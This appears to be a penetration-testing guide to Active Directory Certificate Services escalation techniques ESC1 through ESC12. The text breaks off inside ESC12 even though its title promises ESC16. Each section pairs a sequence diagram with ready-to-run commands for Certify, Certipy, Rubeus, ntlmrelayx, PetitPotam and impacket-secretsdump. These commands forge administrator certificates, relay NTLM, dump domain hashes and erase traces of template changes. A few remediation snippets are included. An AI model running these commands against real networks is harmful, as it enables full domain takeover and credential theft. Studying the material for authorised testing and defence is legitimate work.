Post

AD CS Attack Guide: ESC1–ESC16 Complete Reference

A comprehensive reference covering all ESC1–ESC16 Active Directory Certificate Services vulnerabilities — attack conditions, sequence diagrams, and exploitation commands.

AD CS Attack Guide: ESC1–ESC16 Complete Reference

AD CS Vulnerabilities (ESC1–16) Complete Attack Guide

Detailed sequence diagrams, attack conditions, and execution commands for every ESC attack.


ESC1: Enrollee-Supplied Subject for Client Authentication

Attack Conditions

  • ✅ The certificate template has Client Authentication or Smart Card Logon EKU
  • ✅ The template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set
  • ✅ A low-privileged user has Enroll permission
  • ✅ Certificate approval is not required (or the attacker holds approval rights)

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker<br/>(Low-Privileged User)
    participant Certify as Certify.exe /<br/>Certipy
    participant T as Vulnerable Template<br/>(ESC1_Template)
    participant CA as Certificate Authority<br/>(CA01)
    participant DC as Domain Controller

    Note over A,DC: Prerequisite: Template scan completed

    A->>Certify: Certify.exe find /vulnerable
    Certify->>A: ESC1 vulnerability found:<br/>VulnerableTemplate

    Note over A: Execute attack: impersonate Administrator

    A->>Certify: Certify.exe request<br/>/ca:CA01\ca-CA01<br/>/template:VulnerableTemplate<br/>/altname:Administrator

    Certify->>T: Build certificate request
    Note over Certify: Subject Alternative Name:<br/>Administrator@corp.local

    Certify->>CA: Certificate enrollment request
    CA->>CA: Check template configuration
    Note over CA: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT<br/>flag is enabled → SAN specification allowed

    CA->>Certify: Issue Administrator certificate<br/>(PFX format)
    Certify->>A: Save cert.pfx

    Note over A: Use certificate for Kerberos authentication

    A->>Certify: Rubeus.exe asktgt<br/>/user:Administrator<br/>/certificate:cert.pfx<br/>/password:password<br/>/ptt

    Certify->>DC: TGT request<br/>(certificate authentication)
    DC->>DC: Validate certificate
    Note over DC: SAN: Administrator@corp.local<br/>→ Authenticate as Administrator

    DC->>Certify: Issue Administrator TGT
    Certify->>A: Inject TGT into memory (Pass-the-Ticket)

    Note over A: Domain Admin privileges obtained
    A->>DC: Operate as Domain Admin

Attack Commands

1. Vulnerability Scan (Windows)

1
2
3
4
5
# Scan with Certify
.\Certify.exe find /vulnerable

# Detailed check of a specific template
.\Certify.exe find /template:VulnerableTemplate

2. Vulnerability Scan (Linux/Kali)

1
2
3
4
5
# Scan with Certipy
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable

# Review results with BloodHound
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -bloodhound

3. Certificate Request (Windows)

1
2
3
4
5
# Request a certificate for Administrator
.\Certify.exe request /ca:DC01\corp-DC01-CA /template:VulnerableTemplate /altname:Administrator

# Convert the issued certificate to PFX
certutil -decode cert.pem cert.pfx

4. Certificate Request (Linux/Kali)

1
2
3
4
# Request and retrieve certificate in one step
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'VulnerableTemplate' -upn 'administrator@corp.local'

# Output: administrator.pfx

5. Obtain TGT and Authenticate (Windows)

1
2
3
4
5
6
# Obtain TGT with Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:password /ptt

# Verify
klist
whoami

6. Obtain TGT and Authenticate (Linux/Kali)

1
2
3
4
5
6
7
8
# Obtain TGT with Certipy
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

# Output: administrator.ccache (TGT)

# Use TGT
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local

7. Obtain NTLM Hash (Optional)

1
2
3
4
5
# Retrieve NTLM hash using the UnPAC the hash technique
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

# Output: Administrator's NTLM hash
# Usable with Pass-the-Hash

ESC2: Any Purpose Certificate Template

Attack Conditions

  • ✅ The certificate template has Any Purpose EKU (2.5.29.37.0), or no EKU is defined
  • ✅ A low-privileged user has Enroll permission
  • ✅ Certificate approval is not required

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant Certify as Certify.exe
    participant T as Any Purpose<br/>Template
    participant CA as Certificate Authority
    participant DC as Domain Controller

    A->>Certify: Certify.exe find /vulnerable
    Certify->>A: ESC2 detected:<br/>AnyPurposeTemplate<br/>(EKU: Any Purpose)

    Note over A: Any Purpose EKU can be used for all purposes,<br/>including Client Authentication

    A->>Certify: Certify.exe request<br/>/ca:CA01\ca-CA01<br/>/template:AnyPurposeTemplate<br/>/altname:Administrator

    Note over Certify: SAN can sometimes be specified as in ESC1;<br/>otherwise only your own certificate

    Certify->>CA: Certificate request
    CA->>Certify: Issue Any Purpose EKU certificate

    Note over A: Can be used as Client Authentication

    A->>Certify: Rubeus.exe asktgt<br/>/user:Attacker or Administrator<br/>/certificate:cert.pfx<br/>/ptt

    Certify->>DC: TGT request
    DC->>DC: Check EKU: Any Purpose<br/>→ Valid as Client Authentication
    DC->>Certify: Issue TGT
    Certify->>A: Authentication successful

Attack Commands

1. Vulnerability Scan

1
2
# Identify ESC2
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -i "ESC2"

2. Certificate Request (when SAN can be specified)

1
2
# Request certificate as Administrator
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'AnyPurposeTemplate' -upn 'administrator@corp.local'

3. Certificate Request (when SAN cannot be specified)

1
2
3
4
# Obtain only your own certificate
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'AnyPurposeTemplate'

# Must be combined with another ESC attack

ESC3: Enrollment Agent Certificate Template

Attack Conditions

  • ✅ The certificate template has Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1)
  • ✅ A low-privileged user has Enroll permission
  • ✅ Another certificate template allows Enrollment Agent under Application Policy
  • ✅ Or Issuance Requirements imposes no restriction on Enrollment Agent

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant Certify as Certify.exe
    participant EA as Enrollment Agent<br/>Template
    participant CA as Certificate Authority
    participant CT as Client Auth<br/>Template
    participant DC as Domain Controller

    Note over A: Phase 1: Obtain Enrollment Agent certificate

    A->>Certify: Certify.exe find /vulnerable
    Certify->>A: ESC3 detected:<br/>EnrollmentAgentTemplate

    A->>Certify: Certify.exe request<br/>/ca:CA01\ca-CA01<br/>/template:EnrollmentAgentTemplate

    Certify->>CA: Enrollment Agent certificate request
    CA->>Certify: Issue Enrollment Agent certificate<br/>(agent.pfx)

    Note over A: Phase 2: Enroll on behalf of another user

    A->>Certify: Certify.exe request<br/>/ca:CA01\ca-CA01<br/>/template:User<br/>/onbehalfof:CORP\Administrator<br/>/enrollcert:agent.pfx<br/>/enrollcertpw:password

    Note over Certify: Request Administrator's certificate<br/>on behalf as Enrollment Agent

    Certify->>CT: Request Administrator's certificate
    CT->>CA: On-behalf-of enrollment request
    CA->>CA: Validate Enrollment Agent
    Note over CA: Verify agent.pfx signature<br/>→ Allow on-behalf-of enrollment

    CA->>Certify: Issue Administrator certificate<br/>(admin.pfx)

    Note over A: Phase 3: Authentication

    A->>Certify: Rubeus.exe asktgt<br/>/user:Administrator<br/>/certificate:admin.pfx<br/>/ptt

    Certify->>DC: TGT request
    DC->>Certify: Administrator TGT
    Certify->>A: Domain Admin privileges obtained

Attack Commands

1. Vulnerability Scan

1
2
# Identify ESC3
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -A 20 "ESC3"

2. Obtain Enrollment Agent Certificate

1
2
3
4
# Phase 1: Obtain Enrollment Agent certificate
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'EnrollmentAgent'

# Output: john.pfx (Enrollment Agent certificate)

3. Obtain Administrator Certificate via On-Behalf-Of Enrollment

1
2
3
4
# Phase 2: Request Administrator's certificate on behalf
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Output: administrator.pfx

4. Authentication

1
2
# Obtain TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

Windows Execution

1
2
3
4
5
6
7
8
# Phase 1
.\Certify.exe request /ca:DC01\corp-DC01-CA /template:EnrollmentAgent

# Phase 2
.\Certify.exe request /ca:DC01\corp-DC01-CA /template:User /onbehalfof:CORP\Administrator /enrollcert:agent.pfx /enrollcertpw:password

# Phase 3
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /ptt

ESC4: Template Hijacking

Attack Conditions

  • ✅ The attacker has WriteProperty or WriteDACL rights on the certificate template
  • ✅ The template can be modified to satisfy ESC1 conditions

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant AD as Active Directory
    participant T as Certificate Template<br/>(Before Modification)
    participant T2 as Certificate Template<br/>(After Modification)
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over A: Phase 1: Check permissions

    A->>AD: Check Get-Acl
    AD->>A: WriteProperty / WriteDACL rights present

    Note over A: Phase 2: Modify template

    A->>T: Set-ADObject<br/>msPKI-Certificate-Name-Flag<br/>+= CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

    T->>T2: Apply configuration change
    Note over T2: SAN specification now possible

    A->>T2: Set-ADObject<br/>msPKI-Certificate-Application-Policy<br/>+= Client Authentication

    Note over T2: Client Authentication EKU added

    A->>T2: Set-ADObject<br/>Add-ACE Enroll permission<br/>for Domain Users

    Note over T2: Anyone can now enroll

    Note over A: Phase 3: Execute ESC1 attack

    A->>T2: Certify.exe request<br/>/template:ModifiedTemplate<br/>/altname:Administrator

    T2->>CA: Certificate request
    CA->>A: Issue Administrator certificate

    A->>DC: Rubeus.exe asktgt<br/>/certificate:cert.pfx<br/>/ptt
    DC->>A: Domain Admin TGT

    Note over A: Phase 4: Clean up traces (optional)

    A->>T2: Revert template settings to original

Attack Commands

1. Check Permissions

1
2
3
# Check permissions with PowerView
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity "VulnerableTemplate" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|WriteDacl"}

2. Modify Template

1
2
3
4
5
6
7
8
9
10
11
# Modify using AD module
Import-Module ActiveDirectory

# Get the template DN
$template = Get-ADObject -Filter {cn -eq "VulnerableTemplate"} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"

# Enable SAN specification
Set-ADObject -Identity $template.DistinguishedName -Add @{'msPKI-Certificate-Name-Flag'=1}

# Add Client Authentication EKU
Set-ADObject -Identity $template.DistinguishedName -Replace @{'pKIExtendedKeyUsage'='1.3.6.1.5.5.7.3.2'}

3. Modify from Linux (ldapmodify)

1
2
3
4
5
6
7
8
9
10
# Create LDIF file
cat > modify_template.ldif << EOF
dn: CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local
changetype: modify
replace: msPKI-Certificate-Name-Flag
msPKI-Certificate-Name-Flag: 1
EOF

# Apply changes via LDAP
ldapmodify -x -H ldap://10.10.10.100 -D "cn=john,cn=users,dc=corp,dc=local" -w 'Password123!' -f modify_template.ldif

4. Certificate Request (after modification)

1
2
# Execute ESC1 attack
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'VulnerableTemplate' -upn 'administrator@corp.local'

5. Clean Up Traces

1
2
# Revert to original settings
Set-ADObject -Identity $template.DistinguishedName -Replace @{'msPKI-Certificate-Name-Flag'=0}

ESC5: Vulnerable PKI Object Access Control

Attack Conditions

  • ✅ The attacker holds dangerous permissions on the following objects:
    • Certificate templates: WriteProperty, WriteOwner, WriteDACL
    • CA: ManageCA, ManageCertificates
    • CA computer: WriteProperty (dNSHostName, etc.)

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant AD as Active Directory
    participant PKI as PKI Object
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over A: Pattern 1: WriteProperty on template

    A->>AD: Check Get-Acl
    AD->>A: WriteProperty rights present<br/>(certificate template)

    A->>PKI: Modify template as in ESC4
    PKI->>A: Modification complete

    A->>CA: Execute ESC1 attack
    CA->>A: Certificate issued

    Note over A: Pattern 2: ManageCA on CA

    A->>CA: certutil -config "CA01\ca-CA01"<br/>-setreg policy\EditFlags<br/>+EDITF_ATTRIBUTESUBJECTALTNAME2

    Note over CA: Create ESC6 condition

    CA->>A: Configuration change complete

    A->>CA: Execute ESC6 attack
    CA->>A: Certificate issued

    Note over A: Pattern 3: ManageCertificates on CA

    A->>CA: certutil -resubmit [RequestId]
    Note over A: Approve a pending certificate request

    CA->>A: Certificate issued

    A->>DC: Authenticate with certificate
    DC->>A: Issue TGT

Attack Commands

1. Enumerate Permissions

1
2
3
4
5
# Check permissions with Certify
.\Certify.exe find /vulnerable

# Detailed check with PowerView
Get-DomainObjectAcl -Identity "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -ResolveGUIDs

2. Pattern 1: Modify Template (same as ESC4)

1
# Use ESC4 commands

3. Pattern 2: Abuse ManageCA Rights

1
2
3
4
5
# Windows: Enable EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -config "DC01\corp-DC01-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

# Restart CA service
Invoke-Command -ComputerName DC01 -ScriptBlock { Restart-Service certsvc }
1
2
# Linux: Change settings with Certipy
certipy ca -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -enable-template 'SubCA'

4. Pattern 3: Abuse ManageCertificates Rights

1
2
3
4
5
6
7
8
# Review pending requests
certutil -config "DC01\corp-DC01-CA" -view

# Approve a pending request
certutil -config "DC01\corp-DC01-CA" -resubmit [RequestId]

# Retrieve certificate
certutil -config "DC01\corp-DC01-CA" -retrieve [RequestId] cert.cer

ESC6: CA Allows SAN Specification via Request Attributes

Attack Conditions

  • ✅ The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set
  • ✅ A certificate template that low-privileged users can enroll in exists
  • ✅ The template has Client Authentication EKU (or Any Purpose)

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant Certify as Certify.exe
    participant T as Any Template
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over CA: CA setting:<br/>EDITF_ATTRIBUTESUBJECTALTNAME2 = Enabled

    A->>Certify: Certify.exe find
    Certify->>A: ESC6 detected:<br/>CA allows SAN specification

    Note over A: The template itself is not vulnerable,<br/>but the CA setting makes the attack possible

    A->>Certify: Certify.exe request<br/>/ca:CA01\ca-CA01<br/>/template:User<br/>/altname:Administrator

    Note over Certify: Include SAN in request attributes:<br/>san:upn=Administrator@corp.local

    Certify->>T: Certificate request
    T->>CA: Forward request

    CA->>CA: Check EDITF_ATTRIBUTESUBJECTALTNAME2<br/>flag
    Note over CA: Flag is enabled<br/>→ Read SAN from request attributes

    CA->>CA: Ignore SAN restriction in template

    CA->>Certify: Issue Administrator certificate
    Note over CA: SAN from request attributes takes priority

    Certify->>A: administrator.pfx

    A->>Certify: Rubeus.exe asktgt<br/>/user:Administrator<br/>/certificate:administrator.pfx<br/>/ptt

    Certify->>DC: TGT request
    DC->>Certify: Administrator TGT
    Certify->>A: Domain Admin privileges obtained

Attack Commands

1. Confirm Vulnerability

1
2
3
4
# Windows: Check CA settings
certutil -config "DC01\corp-DC01-CA" -getreg policy\EditFlags

# Check if output contains EDITF_ATTRIBUTESUBJECTALTNAME2 (0x40000)
1
2
# Linux: Check with Certipy
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -i "ESC6"

2. Certificate Request (Windows)

1
2
# Request Administrator's certificate using User template
.\Certify.exe request /ca:DC01\corp-DC01-CA /template:User /altname:Administrator

3. Certificate Request (Linux)

1
2
3
4
# Specify SAN with Certipy
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'User' -upn 'administrator@corp.local'

# Output: administrator.pfx

4. Authentication

1
2
# Obtain TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

5. Remediation (Defender)

1
2
3
4
5
# Disable EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -config "DC01\corp-DC01-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# Restart CA service
Restart-Service certsvc

ESC7: Dangerous Permissions on CA

Attack Conditions

  • ✅ The attacker has ManageCA rights on the CA
  • ✅ Or the attacker has ManageCertificates rights

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant CA as Certificate Authority
    participant T as Certificate Template
    participant DC as Domain Controller

    Note over A: Pattern 1: ManageCA rights

    A->>CA: Check rights on CA
    CA->>A: ManageCA rights present

    A->>CA: certutil -setreg policy\EditFlags<br/>+EDITF_ATTRIBUTESUBJECTALTNAME2

    Note over CA: Create ESC6 condition

    CA->>A: Configuration change complete

    A->>CA: Execute ESC6 attack<br/>(request certificate with SAN)
    CA->>A: Issue Administrator certificate

    Note over A: Pattern 2: ManageCertificates rights

    A->>CA: Request certificate with any template
    Note over A: Intentionally fail<br/>(place request in pending state)

    CA->>CA: Hold request in pending state

    A->>CA: certutil -resubmit [RequestId]
    Note over A: Approve own request<br/>using ManageCertificates rights

    CA->>A: Issue certificate

    Note over A: Pattern 3: Enable SubCA template

    A->>CA: certutil -CATemplate +SubCA
    Note over A: Enable SubCA template<br/>using ManageCA rights

    A->>T: Request SubCA certificate
    T->>CA: Forward request
    CA->>CA: Hold request

    A->>CA: certutil -resubmit [RequestId]
    Note over A: ManageCA rights also allow<br/>approving SubCA

    CA->>A: Issue SubCA certificate
    Note over A: With SubCA certificate,<br/>any certificate can be signed

    A->>DC: Authenticate with forged certificate
    DC->>A: Issue TGT

Attack Commands

1. Check Permissions

1
2
3
4
# Check CA permissions with Certify
.\Certify.exe find /vulnerable

# Check output for ManageCA / ManageCertificates

2. Pattern 1: Enable ESC6 via ManageCA

1
2
3
4
5
6
7
8
# Enable EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -config "DC01\corp-DC01-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

# Restart CA
Restart-Service certsvc

# Execute ESC6 attack
.\Certify.exe request /ca:DC01\corp-DC01-CA /template:User /altname:Administrator

3. Pattern 2: Approve Requests via ManageCertificates

1
2
3
4
5
6
7
8
9
10
11
# Request certificate (cause intentional failure)
.\Certify.exe request /ca:DC01\corp-DC01-CA /template:RequireManagerApproval /altname:Administrator

# Note the Request ID
# Example: Request ID: 1234

# Approve the request
certutil -config "DC01\corp-DC01-CA" -resubmit 1234

# Retrieve certificate
certutil -config "DC01\corp-DC01-CA" -retrieve 1234 admin.cer

4. Pattern 3: SubCA Attack

1
2
3
4
5
6
7
8
# Linux: Enable and abuse SubCA template with Certipy
certipy ca -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -enable-template 'SubCA'

# Request SubCA certificate
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'SubCA' -upn 'administrator@corp.local'

# If approval is needed after obtaining Request ID,
# approve with ManageCA or ManageCertificates rights

ESC8: NTLM Relay to AD CS Web Enrollment

Attack Conditions

  • ✅ AD CS Web Enrollment is running over HTTP (unencrypted)
  • ✅ NTLM authentication is enabled
  • ✅ The attacker can force NTLM authentication from a privileged account such as Domain Admin (Coercion)

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker<br/>(Relay Server)
    participant V as Victim<br/>(Domain Admin)
    participant R as ntlmrelayx
    participant W as Web Enrollment<br/>(HTTP)
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over A: Preparation: Start relay server

    A->>R: ntlmrelayx.py -t<br/>http://ca01/certsrv/certfnsh.asp<br/>--adcs --template User

    Note over R: Listening for relay to Web Enrollment

    Note over A: Execute coercion attack

    A->>V: Force NTLM authentication via<br/>PetitPotam / PrinterBug

    Note over V: DC01$ or Domain Admin attempts<br/>NTLM authentication to attacker

    V->>R: NTLM authentication attempt<br/>(SMB / HTTP)

    Note over R: Capture NTLM<br/>Challenge-Response

    R->>W: Relay NTLM to Web Enrollment
    Note over R: http://ca01/certsrv/certfnsh.asp

    W->>W: Authenticate as Domain Admin / DC01$
    Note over W: Accept NTLM over HTTP

    R->>W: Certificate request<br/>(User template)
    Note over R: Request Domain Admin's certificate

    W->>CA: Certificate enrollment request
    CA->>W: Issue Domain Admin certificate
    W->>R: Return certificate (PFX)

    R->>A: Save administrator.pfx

    Note over A: Authentication phase

    A->>DC: certipy auth -pfx administrator.pfx
    DC->>A: Domain Admin TGT / NTLM Hash

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Check Web Enrollment

1
2
3
4
# Check if running over HTTP
curl -I http://ca01.corp.local/certsrv/

# If HTTPS, ESC8 is not applicable

2. Set Up ntlmrelayx

1
2
3
4
5
# Use Impacket's ntlmrelayx
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template User

# Or use DomainController template
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

3. Execute Coercion Attack

1
2
3
4
5
# Force DC's NTLM with PetitPotam
python3 PetitPotam.py -u john -p 'Password123!' -d corp.local 10.10.10.50 10.10.10.100

# 10.10.10.50 = attacker's relay server
# 10.10.10.100 = DC01 (victim)
1
2
# Force DC's NTLM with PrinterBug
python3 dementor.py -u john -p 'Password123!' -d corp.local 10.10.10.50 10.10.10.100

4. Retrieve Certificate and Authenticate

1
2
3
4
5
6
7
# ntlmrelayx automatically saves the certificate
# Example output: dc01.pfx

# Authenticate
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.100

# Obtain DC's NTLM hash or TGT

5. Check Defenses

1
2
3
4
# Check Extended Protection for Authentication (EPA)
Get-WebConfiguration -Filter "system.webServer/security/authentication/windowsAuthentication" -PSPath "IIS:\Sites\Default Web Site\CertSrv"

# If EPA is disabled, ESC8 is possible

ESC9: No Security Extension on Certificate Template

Attack Conditions

  • ✅ The certificate template has the CT_FLAG_NO_SECURITY_EXTENSION flag set
  • msPKI-Enrollment-Flag includes CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
  • ✅ Weak certificate mapping (UPN mapping) is enabled

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant T as Vulnerable Template
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over T: Conditions:<br/>CT_FLAG_NO_SECURITY_EXTENSION<br/>CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

    A->>T: Certificate request
    Note over A: SAN UPN:<br/>Administrator@corp.local

    T->>CA: Certificate request

    CA->>CA: Do not generate Security Extension
    Note over CA: CT_FLAG_NO_SECURITY_EXTENSION<br/>→ No szOID_NTDS_CA_SECURITY_EXT

    CA->>A: Issue certificate<br/>(without Security Extension)

    Note over A: SID validation is skipped<br/>because Security Extension is absent

    A->>DC: Authenticate with certificate

    DC->>DC: Check certificate mapping
    Note over DC: CertificateMappingMethods<br/>includes UPN mapping

    DC->>DC: No Security Extension<br/>→ Skip SID validation

    DC->>DC: Authenticate by UPN only
    Note over DC: SAN UPN: Administrator@corp.local<br/>→ Authenticate as Administrator

    DC->>A: Issue Administrator TGT

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Vulnerability Scan

1
2
# Identify ESC9
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -A 20 "ESC9"

2. Certificate Request

1
2
3
4
# Request certificate with Administrator UPN
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'ESC9Template' -upn 'administrator@corp.local'

# Output: administrator.pfx

3. Authentication

1
2
3
4
# Authenticate using weak mapping
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

# Authenticated as Administrator via UPN mapping

4. Check Certificate Mapping Setting (on DC)

1
2
3
4
5
6
7
# Check via registry
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" -Name "CertificateMappingMethods"

# Check if value includes 0x4 (UPN)
# 0x1 = Subject/Issuer
# 0x2 = Issuer Only
# 0x4 = UPN (weak)

ESC10: Weak Certificate Mapping for Schannel Authentication

Attack Conditions

  • CertificateMappingMethods is set to 0x4 (UPN mapping only)
  • ✅ The attacker can obtain a certificate with an arbitrary UPN

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over DC: Setting:<br/>CertificateMappingMethods = 0x4<br/>(UPN mapping only)

    Note over A: Obtain arbitrary certificate<br/>(via ESC1/2/3/6 etc.)

    A->>CA: Certificate request
    Note over A: SAN UPN:<br/>Administrator@corp.local

    CA->>A: Issue certificate

    Note over A: Authenticate via Schannel

    A->>DC: PKINIT / Schannel authentication<br/>(present certificate)

    DC->>DC: Process certificate mapping
    Note over DC: CertificateMappingMethods = 0x4<br/>→ Map by UPN only

    DC->>DC: Do not validate SID or Issuer
    Note over DC: Weak mapping

    DC->>DC: UPN: Administrator@corp.local<br/>→ Look up Administrator account

    DC->>A: Authentication successful as Administrator

    A->>DC: TGT request
    DC->>A: Issue Administrator TGT

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Check Certificate Mapping Setting

1
2
3
4
# Check DC registry
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods

# If 0x4 (UPN), ESC10 is possible

2. Obtain Certificate (using another ESC)

1
2
# Obtain Administrator's certificate with ESC1 etc.
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'VulnerableTemplate' -upn 'administrator@corp.local'

3. Authentication

1
2
3
4
# Authenticate with weak mapping
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

# Mapped by UPN only, authenticated as Administrator

4. Remediation (Defender)

1
2
3
4
5
6
7
8
9
# Enforce strong certificate mapping
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" -Name "CertificateMappingMethods" -Value 0x3

# 0x1 = Subject/Issuer (strong)
# 0x2 = Issuer Only (strong)
# 0x3 = Subject/Issuer + Issuer Only (recommended)

# Or enable StrongCertificateBindingEnforcement
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Value 2

ESC11: NTLM Relay to AD CS RPC Interface

Attack Conditions

  • ✅ The AD CS RPC interface (ICertPassage) accepts NTLM authentication
  • ✅ The attacker can force NTLM authentication from a privileged account such as Domain Admin

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker<br/>(Relay Server)
    participant V as Victim<br/>(Domain Admin)
    participant R as ntlmrelayx
    participant RPC as AD CS RPC<br/>(ICertPassage)
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over A: Preparation: Start RPC relay server

    A->>R: ntlmrelayx.py -t rpc://ca01.corp.local<br/>--adcs --template User

    Note over R: Listening for relay to ICertPassage RPC

    Note over A: Execute coercion attack

    A->>V: Force NTLM authentication via PetitPotam

    V->>R: NTLM authentication attempt

    Note over R: Capture NTLM<br/>Challenge-Response

    R->>RPC: Relay NTLM to RPC Interface
    Note over R: ICertPassage RPC<br/>(via port 135/593)

    RPC->>RPC: Authenticate as Domain Admin
    Note over RPC: NTLM authentication successful

    R->>RPC: Certificate request<br/>(via RPC)
    Note over R: Call CertServerRequest method

    RPC->>CA: Certificate enrollment request
    CA->>RPC: Issue Domain Admin certificate
    RPC->>R: Return certificate (PFX)

    R->>A: Save administrator.pfx

    Note over A: Authentication phase

    A->>DC: certipy auth -pfx administrator.pfx
    DC->>A: Domain Admin TGT

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Set Up ntlmrelayx (RPC Mode)

1
2
3
4
5
# Target RPC Interface with Impacket's ntlmrelayx
impacket-ntlmrelayx -t rpc://ca01.corp.local -rpc-mode TSCH -smb2support --adcs --template User

# Or use Certipy's relay feature
certipy relay -ca ca01.corp.local

2. Execute Coercion Attack

1
2
3
4
5
# Force DC's NTLM with PetitPotam
python3 PetitPotam.py -u john -p 'Password123!' -d corp.local 10.10.10.50 10.10.10.100

# 10.10.10.50 = attacker's relay server
# 10.10.10.100 = DC01

3. Retrieve Certificate and Authenticate

1
2
3
4
5
# Certificate is automatically obtained when relay succeeds
# Output: dc01.pfx

# Authenticate
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.100

4. Defenses

1
2
3
4
5
# Disable NTLM authentication over RPC (GPO)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" = "Deny all"

# Or enable EPA (Extended Protection for Authentication)

ESC12: YubiHSM2 Vulnerability

Attack Conditions

  • ✅ AD CS uses a YubiHSM2 hardware security module
  • ✅ A known vulnerability exists in YubiHSM2 (specific firmware version)
  • ✅ The attacker has access to the HSM

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant HSM as YubiHSM2
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over HSM: YubiHSM2 has a vulnerability<br/>(e.g., CVE-XXXX-XXXX)

    A->>HSM: Vulnerability scan
    HSM->>A: Vulnerable firmware detected

    Note over A: Execute exploit

    A->>HSM: YubiHSM2 Exploit<br/>(Firmware vulnerability)

